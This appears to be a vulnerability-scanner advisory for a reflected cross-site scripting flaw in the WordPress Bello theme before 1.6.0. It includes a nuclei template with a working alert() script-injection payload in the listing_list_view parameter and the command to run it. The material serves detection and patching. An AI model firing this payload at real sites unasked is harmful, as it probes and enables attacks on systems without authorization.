WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

10.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/wp-content/themes/bello/readme.txt
Positive when: contains "wp-content/themes/bello/fonts" or "bold-themes.com/bello"
Send: GET {{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24320 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24320

info:
  name: WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.
  reference:
    - https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt
    - https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24320
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24320
    cwe-id: CWE-79
    epss-score: 0.10769
    epss-percentile: 0.9587
    cpe: cpe:2.3:a:bold-themes:bello:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: "bold-themes"
    product: bello
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,bold-themes,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'
      - '{{BaseURL}}/wp-content/themes/bello/readme.txt'

    stop-at-first-match: true
    matchers:
      - type: word
        internal: true
        words:
          - 'wp-content/themes/bello/fonts'
          - 'bold-themes.com/bello'
        condition: or

  - method: GET
    path:
      - '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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